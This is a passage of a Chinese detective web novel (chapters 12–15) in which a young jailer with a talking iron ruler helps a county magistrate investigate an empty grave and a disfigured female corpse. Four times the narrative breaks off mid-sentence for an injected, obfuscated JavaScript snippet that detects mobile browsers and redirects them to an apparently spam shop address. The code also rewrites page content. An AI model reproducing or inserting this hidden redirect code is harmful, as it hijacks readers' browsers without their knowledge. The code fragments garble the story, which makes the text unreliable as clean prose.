邢姝砚用力点头,小脸上明晃晃的都是敬仰,“咱县令可是火眼金睛,只一眼就看出不对来了,当时就想挖开看看,可是丁苗家人不让。” 丁秀兰在一旁道:“入土为安,不可轻动,动人家坟头本就是特别忌讳的事,轮到谁头上都不会同意的。” 邢姝砚:“这倒也是,要是谁想动爹爹的坟,我非得跟他拼命不可!” 邢书同看了她一眼,显然也这么想。 县衙后院,幕僚陈广生给宋琦换了杯热茶,“你是怎么看出坟头有异的?” 宋琦卖了个关子,“先不说。” 陈广生呵呵笑,“依你依你,那丁家是怎么同意你开棺验尸的?” 宋琦转头看向一边沉默不说话的陈景行,“景行,如果是你,你要怎么说服丁家人?” 陈景行头都没抬,慢吞吞的吐出两个字:“名声。” 县丞家,李盛丰也正跟妻子刘氏说宋琦的事。 “县令大人问丁苗家人和丁家庄的村民,说已经到了这个地步,若是不把真相弄清楚,丁苗就会一直背着不好的名声,到时候,影响的是丁家庄所有的女孩子。” 刘氏听了,念了一声阿弥陀佛,“丁大人是个好官,难得通透,比原来的徐大人可强多了。” 李盛丰继续道:“丁家庄的人合计了一下,劝动了丁苗的家人,掘坟开棺,果然如他所料。” 邢家,邢书同一边吃饭,一边继续听妹妹讲丁大人探案的故事,时不时追问。 “然后呢?坟墓里面到底怎样了?” 邢姝砚咽下嘴里的粥水,竖了个大拇指,“我们县令大人是这个,掘开坟墓后再打开棺材,里面果然空空如也,什么都没啦!” 丁秀兰听了,长长的叹息一声。 “娘,这都是人家的事。”邢姝砚安慰她,“咱们当个故事听听就好啦!” “所以,柳家那坟里埋的当真是她?”邢书同又追问。 邢姝砚摇摇头,“这就不清楚了,得验过才知道,县令大人已经将尸体带回来了,等结果出来了我第一时间告诉你和娘。” 第二天一整天,邢姝砚都泡在监牢里,等晚上下值才听说仵作的检查结果已经出来了,那个棺材里多出来的女子不是丁苗,而是一个年轻女子,且该女子容貌已经被毁,身份一时查不出来。 邢姝砚换下铁衣,穿回自己的衣裳,站在仪门外,回头望向仪门里边,心里有些幸灾乐祸,也不知宋县令会不会头大? 本来只是一个案子,结果一查变成了两个,可真是让人意外呀! 从西便门出来,经过县衙大门口的时候,又见到了两个石狮子。 阿豆在那里打瞌睡,倒是阿豆豆热情的跟她打招呼,【又见面啦!】 邢姝砚走过去,轻轻摸了摸它的脚,小声道:“前两天从这里走,见你们两个都在睡觉,便没有打扰。” 【春困秋乏,没事可做,只好睡觉啦!】 话音才落,邢姝砚腰间就传来一道声音:【真是富贵命啊,不像我,劳苦奔波,不是看管犯人,就是捉拿嫌犯,累得很哪!】 邢姝砚脸色变都没变一下,只伸手在铁尺上弹了一下,也没拆穿它的牛皮。 阿豆豆不知道铁尺的工作内容,听了它的话倒是羡慕的紧,它也好想出去走动走动啊! 回家的路上,见左右没有,邢姝砚小声问腰间铁尺,“你和阿豆他们认识啊?” 【认识呗,谁还没几个熟人啊?要是既没熟人又没人听到我说话,岂不是憋死啦!】 “你们是怎么认识的啊?”邢姝砚十分好奇,毕竟灵物不像大街上的人,随处都能碰见。 说起这个,铁尺就十分傲娇了,【这当然是我们独有的神通啦!你是不会理解的。】 邢姝砚:“……”和没说有什么区别? 见她不说话了,铁尺赶紧解释,【这是我们独有的神通,本能就会使啦,就像你眨眼一样,又不用学,自然而然就会啦!】 说完,它又讨好的问:【你想试试吗?】 “试?”邢姝砚没想到还能试,“真的可以?怎么试?” 铁尺说只要握住它的身体,心窍和它相通就可以。 邢姝砚不是文盲,不论是前世的文字,还是这世的文字都认识不少,“心”是什么她知道,可“心窍”是什么就理解不了了。 铁尺没少挤兑她,邢姝砚也没恼,按它的解释一遍遍的试,再实在试不动将要放弃的前一刻,眼前突然一亮。 不是天气明媚颜色鲜亮的亮,是视野里所见的一切都清晰无比,奕奕生光。 她能看见空中各种缠绕交替的光线,能分辨出每一粒灰尘的轨迹,也能看清一块灰扑扑不起眼树皮上深深浅浅可以拆分成八十种的色彩。 路人从她身前经过,她能看到对方脚跟处带起来的空气涟漪,能根据涟漪的动势推断出对方接下来要迈向哪个方向走出多大步伐。 一只小虫在墙上啁啾,她也能从这叫声中辨别出数十种高低起伏。 仿佛世间没有什么能逃过她的两只眼睛和一双耳朵,她来到了一个新的天地。 低头看向腰间,手中握着的铁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17554906|204160||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 尺正发出莹莹之光,哪怕还有一半在衣裳的遮掩之下也依然掩盖不住。 会发光的啊?难怪从一开始就可以认识。 邢姝砚嘴角向上弯起,眼睛里的笑意也越来越大。 因为这个发现,她心情好的不得了,哪怕在饭桌上喝粥,也时不时就会笑一下,引得邢书同好奇不已。 “究竟发生了什么事啊?一顿饭的工夫你都笑了十几回了,好瘆人!”他用力搓了搓胳膊,“咦?粥从嘴角漏出来了。” 邢姝砚赶紧吸溜一下嘴角,发现什么都没有,他在骗自己,于是捶了对方两下。 邢书同恶作剧成功,开心的笑个不停,一边笑一边咳嗽。 邢姝砚不敢惹他,赶忙给他顺气。 看着这个病恹恹的亲哥哥,突然灵机一动,自己是不是可以借助铁尺的力量去寻药草呢? 有了方子,再找到高质量的药草,哥哥一定会早些好起来吧? 心里有了想法,也和铁尺达成一致意见,却没有付诸行动,只因接下来的几天县衙里气氛紧张,大家都不敢稍动,生怕一不小心就引来一顿排揎。 县丞李盛丰愁眉苦脸的看着宋琦,平日里保养的不错的长须都有些打结,“大人,大柳树村和丁家庄的两桩命案再不了解,怕是会影响今年春耕。” 宋琦新到,比不得李盛丰在此地的资历,闻言道:“如今案子全无头绪,怕是为难,与它相比,春耕反倒才是头等大事,李县丞在清水县多年,可有什么良策?” 李盛丰眉头皱的更紧,胡须都拈断了两根,“下官和两个村子的村正略有些交情,可以提点一下他们,只是如今人心惶惶,一味强压反倒是不好,县衙这边终归是要给出交待。” 宋琦点头,不光是两个村子,就是县城里面对这两个案子也关注的紧。 如今他新官上任,全清水县都盯着他的一举一动,一旦稍有差池,不光收拢不了县衙里的这些官吏,就连人心都会失尽。 这两桩案子的来龙去脉不仅要查出来,还要查的好查的快查的清楚明白。 县衙后院,狸花猫正抱着陈广生好不容易养活了的山茶花打秋千,旁边不远处的陈景行看见,却也只当作没看到。 陈广生办完公事,从书房里出来后看到这一幕,啊呀一声大叫,把猫轰走,埋怨陈景行不看着点。 陈景行坐在藤椅上,把手里翻开的书本往脸上一盖,只当没听见。 陈广生看了一眼墙角里探头探脑的罪魁祸首和不关己事的侄子,默默运气半天,亲自去收拾残局。 把那些破碎的枝枝叶叶都扔掉,把脑袋歪掉的花枝重新扶起来,“咱们初来乍到两眼一摸黑,偏又遇上了这事,这案子不解决,不光对百姓交待不了,就是上官那里怕也会得一个不好的评价。” 见陈景行一动不动,又问:“你脑子灵光,帮着想想,如果是你你怎么做?” 陈景行闷声闷气的道:“不知道谁可用,那就是谁都不可用,也是谁都可以用,不妨一锅端,到时候得用的自然会跳出来。” 13. 第 13 章 宋琦的命令既是压力也是动力,有人为了立功受奖,有人为了混水摸鱼,总之,县衙里各处都动员了起来。 捕班的人自不必说,就是壮班和皂班也都铆足了劲,全都瞪大了两只眼睛,想要发现案子的线索。 邢姝砚也想立功,哪怕不为立功,能多得两个赏钱也是好的,只是她有自知之明,知道这事轮不到她一个新进的狱卒身上,于是便把目光放在了别处。 她一直记得那天在成福寺地藏殿听到的声音,借着周边纷忙杂乱的机会,开始寻找那人。 躲在暗处听了半天,都没听到印象中的声音,眼见月上中天,周边差役都走的差不多了,寥寥几个还都是值班的,她打了个呵欠,活动活动站的僵硬的两条腿,正想离开,就听一个熟悉的声音咋咋呼呼的过来了。 “他奶奶的,又是这个时辰,专门跟我老李作对的吧?” “李林,李哥,李爷爷,你别急啊,真不是兄弟的不是,谁让你回来的晚呢?回来的晚自然就排的晚,反正尸体就在那里,又不会跑,早看一眼晚看一眼有什么区别呢?” “呸!”李林用力啐了对方一口,络腮胡子四处支棱着,活像猛张飞,“这话你倒是对别人说啊,我老李不吃你这一套!” 那人生怕李林犯浑,不停的好言相劝,拉扯着他往里走。 李林从邢姝砚身边走过,快走到仪门前的时候突然顿了一下,又转身返了回来,站到邢姝砚跟前,勾着脑袋朝她打量,半晌才犹豫着问:“你是邢……” 邢姝砚赶忙行礼,“李叔,我是邢书同。” 李林的大眼珠子眨巴了半天,最后用力拍了一下邢姝砚的肩膀,“你这小子,怎么跑到这儿来了,还穿成这样?” 在县衙门这个等级森严的地方,狱卒差不多是最底层的了,难怪李林看不上。 邢姝砚揉揉鼻子,讪笑,没答他的话,反而问:“这么晚了,您还没下值啊?” 李林斜着眼睛瞪了旁边的人一眼,对邢姝砚道:“这不是……去看看尸体。” 邢姝砚眼睛一亮,“是大柳树村那具无名女尸吗?” 李林点头。 邢姝砚赶紧问:“我能跟去看看吗?” 看看她瘦弱的小身板,李林眉头皱了起来,“你行吗?” 怎么就不行了呢?当然行! 邢姝砚好歹上辈子真的死过一次,比在场所有人都有经验。 停尸房挖在地下,有专人看守,还没进去,就觉得阴森森的,一股冷气扑面而来,倒是把尸体的气味冲淡了些许。 邢姝砚鼻子上绑着专门用来挡尸臭的布巾,跟着李林的脚步,一步一步向前,走过前面窄窄的走廊,来到一个小屋子里。 屋子里面更是寒凉,排放着四张木板,三张都是空的,其中一个上面盖着张布,布料隆起,露出人的形状。 看尸人揭开上面的布,“两位,请。” 说完,就退了开去,路过邢姝砚身边的时候,还诧异的看了她一眼,似乎没想过狱卒也来凑这个热闹。 邢姝砚站在最外面,见李林已经开始查看尸体,她也鼓起勇气往那边看了一眼,然后就看见一张被毁的一塌糊涂、面目全非的脸。 哪怕是早有准备,也还是被这恐怖的一幕给惊的心惊肉跳,忍不住后退半步,撞在墙上。 冰寒的墙壁冷的她一哆嗦,手指不经意覆盖在腰间的铁尺上,手中的触感提醒了她,她低头看了一眼,集中精力,和对方心窍沟通。 很快,眼前的一切就变换了一副样子。 不说周围的一切,哪怕是之前让人心惊胆颤的尸体都仿佛卸去了可怖的外表,露出了最真实的一面。 女尸被毁去的面容不再是沟壑纵横的黯淡血红,而是像一面放大了的画板,每一寸都记录着刀痕的走向、力度、深浅和先后顺序。 邢姝砚光站在那里,就能想象行凶的人是怎样一刀一刀划在她的脸上,直到把整张脸划烂,看不出活着时的丁点痕迹。 邢姝砚缓缓吐出一口浊气,走近了些许,跟在李林身边,看他翻看仵作的记录。 女尸面部已经被毁的一塌糊涂,从躯干和四肢上却能看出这是个身材极佳的女子,她手指修长,一看就没怎么做过重活。 李林他们把女尸侧翻起来的时候,邢姝砚看到了被尸斑覆盖的背、臀、腿等部分。 粗粗扫了一遍后,视线落在肩背部位,然后就移不开了。 李林一侧头,就看见她专注的神色。 “发现什么了吗?” 李林是个很有上进心的人,这几天可没少来这儿,每次都希冀再发现点什么,每次都失望而归。 现在见邢姝砚一本正经的盯着尸体的背部看,一颗心悄悄提了起来,连说话的声音都有些发紧。 邢姝砚没注意到他的紧张,伸出手指隔空朝尸体左侧肩胛骨下面的位置点了点,“这是什么?” 李林举着烛火凑近她说的部位看了半天,讷讷的道:“尸斑吧?” 邢姝砚摇头,“不是,比尸斑颜色重一些,看起来像是胎记……不对,不是胎记。” “那是什么?”李林问,翻翻手中仵作的记录,什么都没查到。 邢姝砚的发现让在场几人有了兴趣,纷纷凑过来看。 可由于尸斑颜色过重,再加上光线不明亮,怎么看都看不清楚。以致于顺着她的话理解似乎有道理,不顺着她的话理解似乎也有道理。 几个人的观点完全不一致,争论不休。 邢姝见不像几人那样一会儿被说服,一会儿又推翻,她可是实实在在看的清楚无比。 正想给他们解释,门口先传来脚步声,几人转头一看,见来者是一个四十多岁的中年人,颌下留着一指长的山羊胡,身着青色圆领宽袖襕衫。 他面容带笑,还没开口,李林当先抱拳行礼,口称“县令大人”。 邢姝砚听见这个称呼,脑子还没转过弯来,行动上已跟着抱拳。 宋琦走进门内,眼神在几人身上转了一圈,笑道:“没事出来转转,没想到你们都在。” 邢姝砚以前也见过县令徐有德,凭她那时不多的理解力 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“大人看这里。”邢姝砚伸出一根手指隔空在分界线上划了几条曲线,“从这里到这里的分界线有明显的形状,到这里的时候分界线就消失了,按说消失地方的尸斑比之前那里要轻,如果是边界斑的话分界线应该看的更清楚才对,可事实却不是这样。” 宋琦点点头,“不错,是这样。” 李林瞅那块地方瞅的两颗眼珠子都快凑到一块儿了,才模模糊糊看清了邢姝砚说的形状,忍不住开口:“那就不能是这斑变淡了?” 邢姝砚环视一下周围,见仵作不在,只能道:“边界斑的特点就是边界清晰,无论一个人长到多大,边界斑的边缘始终清晰不变。” 带李林过来和差役点头附和,“对,对,我在卖豆腐的老刘脖子上见过这种斑,确实清晰。” 邢姝砚的话排除掉了一切斑、点、痣等可能性,那剩下的就只有一个方向。 宋琦思索了一番,确定了她的推测,又问:“依你的看法,你觉得死者背上的会是什么刺青?” 邢姝砚又盯着那块地方细看了一番,慢慢组织起语言,“这块刺青颜色极浅,明显是被清洗过的,只留下一点点痕迹,很难推测原图是山水、花鸟还是人物,不过我想女子刺青本不多见,从这一点入手,或许能找出些蛛丝马迹来。” 宋琦听了,眼睛一亮。 14. 第 14 章 第二天,邢姝砚没去外监点卯,而是被塞进了捕班,用宋琦的话来说,这么聪明的脑袋去牢里看犯人实在是暴殄天物。 邢姝砚:“……” 换了一身捕快服,确实比狱卒穿的铁衣精神多了,只有想到每天要跑的路,心里还是忍不住叫苦。 好在……伸手摸了摸腰间的铁尺,好在还有它陪着,也不算太惨。 刚才她去外监和老张头告别,老张头嚼着她送的烟叶子,笑眯眯的告诉她只管大步往前走,这样才不算埋没了送自己的铁尺。 捕班班头冯仓是个精壮汉子,往日里就不爱笑,今天更是绷紧了一张脸,等看到站在一边的邢姝砚,差点没当场翻个大白眼。 任谁被塞了这么一号人物,心里都会不乐意。 娘们儿兮兮的,身上的骨头还没二两重,脑袋顶还不到别人下巴,见到人只会笑……笑,还笑?就知道笑! 邢姝砚也不想笑啊,奈何都是捕班的同僚,来一个都要对她的身高评头论足一番,她又不能翻脸,只好笑啊。 笑的腮帮子都酸了,冯仓才组织大伙训话,把宋县令的最高指示讲解一番,又推心置腹的表示大家都辛苦了,等熬过这段时间给大家发赏钱,要是熬不过这段时间就大家一起挨板子。 听到“挨板子”三个字,邢姝砚只觉屁股一凉,整个人哆嗦一下。 旁边的李林抬头望了望天,又哈了口气看了看,“天不凉啊?穿少了?” 捕快的工作很杂,要缉捕盗匪,要巡查街巷,要调查罪证,要押解犯人,还要催征赋税。 几乎可以说,哪哪都有他们的影子。 邢姝砚入职第一天,就参与了最最重要的工作——侦查命案。 在这之前,她拉着李林,以相互认识为名义,把捕班的人挨个认识了一遍,当然,并没有找到她想找的那个声音。 邢姝砚没有泄气,比起之前,她的交际范围在一步步扩大,终有一天,她会亲手抓住那个人。 虽然找出了女尸身上一条重要线索,但排查过程却依然艰难无比。 清水县所有涉及到刺青纹身的匠人全部被拘传回来,一一查证,并没有发现与案件相关联的人。 遍查清水县境内失踪人口,也没有和尸体能比对的上的。 案件陷入了僵局。 邢妹砚细细思考了一番,又和哥哥邢书同商量过,决定重走一次大柳树村。 草芽已经开始冒头,大柳树村遍植柳树,整个村子像是蒙上了一层薄绿色的烟雾,还没走到近前,眼睛先一步感受到了清新的气息。 村前农田里劳作播种的村民看到路上走来一群捕快,赶紧相互通知一声,一个口齿伶俐的从田里翻上来,小跑着近前行礼,“各位官爷好!” 带队的班头冯仓没太多好气儿,他往这里跑了没十趟也有八趟了,本不想来的,奈何宋县令塞过来的香饽饽想来。 他斜着眼睛瞥了努力跟上大家脚步却依然落在最后的邢姝砚一眼,鼻子眼里轻嗤一声。 至于这饽饽是真香还是假香,他总得咬上一口看看。 能行,就收拢到自己旗下好好卖命。 不行,就放上一段时间再叉出去烧火。 他也不缺这矮的跟烧火棍似的人不是? 冯仓这段时间没少跟县令宋琦接触,知道他一直担心案子影响春耕,此时见村民积极劳作,心里先松一口气,暗道哪怕今天还是找不到线索,有眼前的一幕顶着,起码能不被申饬。 他态度友好的跟村民打过招呼,惊的村民伶俐的口齿像被浆糊粘住了一般,展都展不开,忍不住抬头辨认了一下太阳的位置。 跟村民告别后,冯仓轻车熟路的带人来到了柳长耕坟前。 柳长耕坟里因为被埋进了一具无名女尸,家人怕坏了风水,把原来的坟头弃之不用,又重新起了一座,原来的坟坑已经被填平,什么都看不出来了。 邢姝砚在周围转了转,又特意登上坟地所在的山头眺望了一番,也没多说什么,跟着众人一起下山。 去柳长耕家略待了待,和在家的杨氏聊了聊,没打听到什么有用的消息,只一人灌了两碗水,而后又起身前往丁家庄。 丁家庄离这里不远,一行人还没进村,村正丁四水便远远迎了上来,一张老脸笑的像花一样,“冯捕头,多日不见,您老可好?” 比丁四水小十几岁的冯仓嘴角抽了抽,敷衍的道:“还好还好。” 丁四水脸上的笑容慢慢凋谢,变成了一张老苦瓜,“小老儿没冯捕头的福气,吃不下睡不着,睁眼就是村民来讨债,闭眼就是死鬼来喊冤,难哪!” 这是……告状? 还是对着捕快告衙门的状。 丁四水不是不知趣的人,不然也当不上村正。 看来,这段时间没少受煎熬,都有些精神错乱了。 对他的煎熬,冯仓很有些感同身受,闻言也没有生气,同他寒暄两句,便要去丁苗家里。 丁苗夫家已经没人了,但娘家人还在。 她有三对哥嫂和一大堆的侄子侄女,如今都已经分家了,分散住在村中各处,邢姝砚一行也没按长幼规矩去上门,而是从村前往村后一路碾过去。 丁苗的哥嫂里面只有三哥丁长寿的遗孀张氏还活着,来到他家的时候,邢姝砚只有一个感受,那就是:穷。 按说村子里都不富裕,但他家穷的特别突出。 一个破破烂烂的院子,除了正房归张氏以外,其他的房子里面都挤挤挨挨住满了人。 张氏生两个儿子并没有分家,每家又都生了好几个孩子,孩子又生孩子,人口特别多,却没有兴旺的架势,反而是人叠着人,人挤着人,一眼望过去,全都是人。 这么多的人,不光是田赋和丁税,光吃饭都是个问题,不见三岁以下的孩子全都光着屁股,身上连条布丝都看不见。 小孩儿不懂得害怕,见一群人进了院子也只含着手指在那里仰着头看。 丁四水赶鸭子似的将小孩子们赶回屋里去,对着厨房门口一个八九岁穿着破破烂烂的小丫头问:“七妮儿,你家大人呢?” 七妮儿怯怯的看了他和身后众人一眼,垂下了头,小声哼哼道:“爹娘下田了,祖母在家。” 丁四水:“去叫你爹娘叔伯兄长们都回来,家里来客了。” 说完, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17557655|204160||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没再理会七妮儿,带着邢姝砚一行人往正房里走,走到一半时突然停下脚步,一拍脑门,“看我这记性,三婶子身子不能动,咱们都是男的,不好往里去,大家……” 环视一周,见这院子实在是没有落脚的地儿,只好道:“……在院子里站站吧。” 站了不多时,下田的人都回来了,进了院子,鹌鹑似的缩在旁边,等着丁四水发话。 丁四水恨铁不成钢的瞪了他们一眼,转头对冯仓道:“乡下人,没见过世面,冯捕头勿怪。” 冯仓还没说话,李林先在邢姝砚耳边小声道:“来过他家许多次了,每回都是这么副样子,咱们又不吃人,不知道他们害哪门子的怕?” 说起来,丁家也算是苦主呢! 按理说,苦主有冤屈未伸,胆子该比一般人大才是,更何况就像李林说的,他们和丁家人见了许多回,算是个熟脸,早该消除了惧怕才对。 邢姝砚的手摸到了腰间的铁尺上,沟通心窍,眼前华光一间,院子里陡然变换了颜色。 细微之处、不同之处,全都入了她的眼。 这其中最大的不同,便是丁家人脸上的神色。 她能很精准的辨别出哪些人是真的在害怕,哪些人是在装害怕,哪些人是习惯性害怕,哪些人是不怕在装怕。 在她打量的时间里,丁家的媳妇们进了正房,把不能动的张氏打理好背了出来。 张氏的两个儿子抱着被褥在一个宽大的椅子上的层层铺好,将张氏安置在上面,完全不假手他人。 张氏虽然瘫痪在床,精神却很不错,一看就是被家人照顾的很好。 见了院子里的众人,也不吃惊,含着笑道:“村正,各位官爷,又麻烦大家了……咳咳……大家还是为我那小姑子的事来的吧?” 丁四水道:“一会儿官爷问什么,你们实话实说就行了,早一点把苗婶子找回来,早一点踏踏实实过日子。” 邢姝砚的目光一直没离开人群,然后就见丁家一个年轻的后生听到丁四水的话,嘴角轻微往下撇了撇,显然对他的话并不认同。 “村正说的是。”张氏认同了丁四水的话,转头看向冯仓,“冯捕头有什么话尽管问吧,我知道的一定回答。” 冯仓没说话,而是转头看向旁边的邢姝砚。 邢姝砚:“……” 卧了个大槽,不用这么快赶鸭子上架吧? 她想佯装没看见,冯仓却用眼神使劲催促她,大有她不上前就把她提溜过来的意思。 邢姝砚实在没办法,只好硬着头皮上前一步。 院子里的人以张氏为起点围了一个圈,实话说并不适合观察。 邢姝砚笑着道:“大家都散开了点吧,老太太身体不好,挤着并不适宜。” 说完便指挥着丁家人往张氏那边去,理由是为了更好的服侍老人家。 这说法谁都提不出异议来。 只是这样一来,丁家人和捕快们就成了面对面的对立局面,且光线适宜,极适合邢姝砚观察众人神情。 丁家人中心的张氏却不如之前和善了,眼神中充满了狐疑和提防,显然,邢姝砚的做法让她极不舒服。 15. 第 15 章 张氏不舒服,邢姝砚却是心情愉快。 提防? 在提防什么? 仿佛藏在饵料下的鱼钩已经钩住肥美的鱼儿,邢姝砚面上不动声色,脑子在飞快的转动,想着自己该从哪里下手才能捞到最好的收获。 “老太太,你家里人和丁苗关系怎么样,谁和她关系最好,谁和她关系最差?” 这个问题,之前县衙里的人也曾问过。 张氏开口就道:“丁苗是我小姑子,后来又嫁到丁家庄,低头不见抬头见,关系差不了。至于谁和她关系最好?那就数七妮儿了,早些年她还想抱养七妮儿呢,只是后来没成。谁和她关系不好……” 张氏沉吟了一下,摇摇头,“没人和她关系不好,她无儿无女寡妇失业的,谁会和她过不去呢?” 张氏说的话没多大问题,只是在她说到“抬头不见低头见”的时候,瞳孔明显缩小,脸也轻微转了个方向,看似在对着和邢姝砚之间隔了好几个人的冯仓说话,但问出问题的是邢姝砚,这就明显不对了。 邢姝砚虽然之前没接触过侦讯,却也看出了她脸上的憎恶,虽然掩藏的很好,只一瞬间就消失了。 心里泛起喜悦的泡泡,邢姝砚更加专心了,“能举几个例子吗?” “啊?什么?” 邢姝砚笑了,“举几个关系好的例子啊!你家和丁苗住在一个村子里,日常少不了走动,你们两家关系又好,总能举出几个关系好的例子来。怎么,这让你觉得为难吗?” 张氏张了张嘴,“啊?哦!对,不为难,不为难,有例子,有例子。” 嘴里说是有例子,眼神却转向旁边去瞄儿孙和媳妇们。 “张氏!”邢姝砚瞅准时机大喝一声,上前两步,折脚幞头压在眉毛上,眼神沉沉的盯着她,冷声问:“你在看什么?他们脸上有字还是有鬼?能让你看出花来?” 张氏被问的心虚,“没,没,就是习惯看看。” 邢姝砚没理会她话里的托词,继续追问:“请你举出几个和丁苗关系好的例子。” “这……我和她……我们……我们常在一起说说话……我们……” 人在着急的时候,一般有两种反应。 一是脑子转的极快,应对能力及时跟上。二是脑子乱成一团浆糊,什么都想不出来。 张氏年纪大了,邢姝砚赌她是第二种。 如果是亲身经历还好,如果不是,高压之下张氏未必能顺利的编出一口谎言来。 情形果如邢姝砚所料,张氏她的心乱了。 邢姝砚气定神闲,“你慢慢说,至于说的是真还是假,我们自然会去查证,丁家庄人口不少,想来你们见面相会的事一定有不少人看到,到时两下一对证,自然就清楚明白了。” 这赤果果的威胁一下子捅到了张氏心窝,她抹了一把脸,泄气道:“我……你……唉!刚才我说的不对,我和丁苗的关系确实不怎么好。” “等等,等等。”李林听到这话,越众而出,指着她和她身边的丁家人道:“每回问你们和丁苗的关系,你们都好好好,感情都是骗人的。” 张氏木着脸,“人都死了,又何必揪着她生前的事不放。” 邢姝砚一脸的无语,重重的道:“张氏,刻意遮掩隐瞒,知情不报,这是要担责的,你不知道吗?” 冯仓吩咐手下,“把人捆了,一会儿带回县衙,交给县令大人处置。” 身后众捕快齐声应诺,声如炸雷,吓的丁家人纷纷出言哀求,眼泪都快下来了。 丁四水赶忙站出来说好话。 冯仓并不是真的想捆人,只是想吓唬他们一下,让人老实点。见都服了软,才装作勉强的样子放过众人。 有了这一顿“杀威棍”,丁家人被问到什么便说什么,再不敢弄鬼。 他们口中的丁苗,是个矫情、贪婪、懒惰,一辈子寄生在别人身上喝血的人。 年轻的时候就敢偷嫂子的嫁妆,后来和大柳树村的柳长耕相上亲,没多长时间又嫌对方木讷不知趣,转头就勾搭上了村里的外来户。 丁苗成亲后也没有消停,时不时闹腾,折腾的儿子掉进水里落了一身病,还气坏了爹娘。再然后丈夫出事没了,也不知守着儿子好好过活,愣是把孩子越养越瘦最后养死了。 这些事有村里人知道的,有为了家里的名声死死捂着不敢人让知道的。 如今这些脏的臭的全都竹筒倒豆子摊开来给人看,尤其在场的还有村正丁四水和院子外面偷偷看热闹的人,丁家人简直羞愤欲死。 张氏长长吁了一口气,“她想抱养七妮儿,我是死活都不会同意的,她那样一个人怎么会养孩子,不定是打的什么主意。如今她死了,棺材也空了,依我的意思,就不用再找了,就当……就当从没有过这么个人就行了。” 说完,她祈求的看着冯仓、邢姝砚和在场所有捕快们,“冯捕头……小差爷……各位差爷,我求求你们了,你们就跟县令大人说说……别再找了!” 邢姝砚有点理解她的心情。 对丁家人来说,丁苗是个极不堪的人物,最好是被人忘的干干净净,永远都不要提起。 毕竟,她和丁家人的关系太近,有这么一个长辈,丁家的女孩子会怎样被人看待? 邢姝砚原本以为丁家人的隐藏和丁苗的失踪有关系,不想全然不是这样。 看着老泪纵横的张氏,还有她身边低着脑袋恨不得钻到地缝里的丁家人,再看看破烂院墙外面探头探脑窃窃私语的村民们,邢姝砚心里像压了块巨石,突然后悔选了这么个问话的地方。 冯仓看了一眼手下,指着墙外头,“把无关人都轰走,这是办差,又不是唱戏,看什么看!” 丁四水多机灵的人,哪能麻烦捕快们,颠着脚跑到大门口,张嘴就是喝骂,“都瞎凑什么热闹,地也不种了?家也不管了?这么喜欢热闹今年徭役就派你们去!” 村民们一听这个,哪敢多待,直接撒腿跑了个干净,头都不回,生怕被人抓住。 邢姝砚在一边看的目瞪口呆,这也行? 正想着这种例子应该记下来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17560586|204160||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,不定将来什么时候用到,就听旁边又是一声咋呼。 转头一看,只见丁家一个十来岁的小子直接从窗户底下的柴禾堆里拎出来一个六七岁的男孩。 男孩脏兮兮的,鼻涕拖的老长,不时拿手臂抹一把,脚上一双烂草鞋,从草鞋里钻出来的脚趾黑乎乎的。 被人抓住,他也不怕,嘿嘿嘿嘿的笑,趁拎他的小子没注意,一个用力挣开对方的手,撒腿就往外跑,路过邢姝砚身边的时候,还扭头朝丁家小子扮了个鬼脸,“略略略!” 丁家小子气的不行,指着他大骂:“丁小三,你要是再敢来,见你一次我打一次,有种你试试!” 丁小三并不怕他,“试试就试试,我还怕你?略!” 丁家小子气的要扑过来,却被身边的人按住。 邢姝砚并没有被他们之间的斗气所吸引,她的全部心神都放在丁小三身上,不是因为他脏,而是他身上有一种香味。 这香味很淡,可有铁尺的力量加持,足够她确认了。 李林见她在脏小孩身边眯着眼睛嗅,惊的下巴差点脱臼。看看太阳再看看邢姝砚,看看邢姝砚再看看周围其他人,见其他人都对脏成这样的小孩皱眉侧目,方知自己才是正常人。 他用力揉了揉肚子,不饿,再看看邢姝砚,对方是……想念牢房里的味道了? 咦! 顿时错开几步,歪着身子离邢姝砚远一点,果然一方水土养一方人呢! 自动自发的给对方找好了借口,然后就见邢姝砚拉住面前的脏小孩,一脸慈爱的问:“你是哪家的小孩啊?长的真机灵啊!” 这回不光是李林了,就是连冯仓的嘴角都抽抽起来。 这慈爱的眼神、不走心的夸奖,不知道的还以为自己这个新来的手下是脏小孩的爷爷呢! 丁小三一看就是爱捣蛋的,果然如他外表表现的一样,伸手就在邢姝砚手上啪的打了一巴掌。 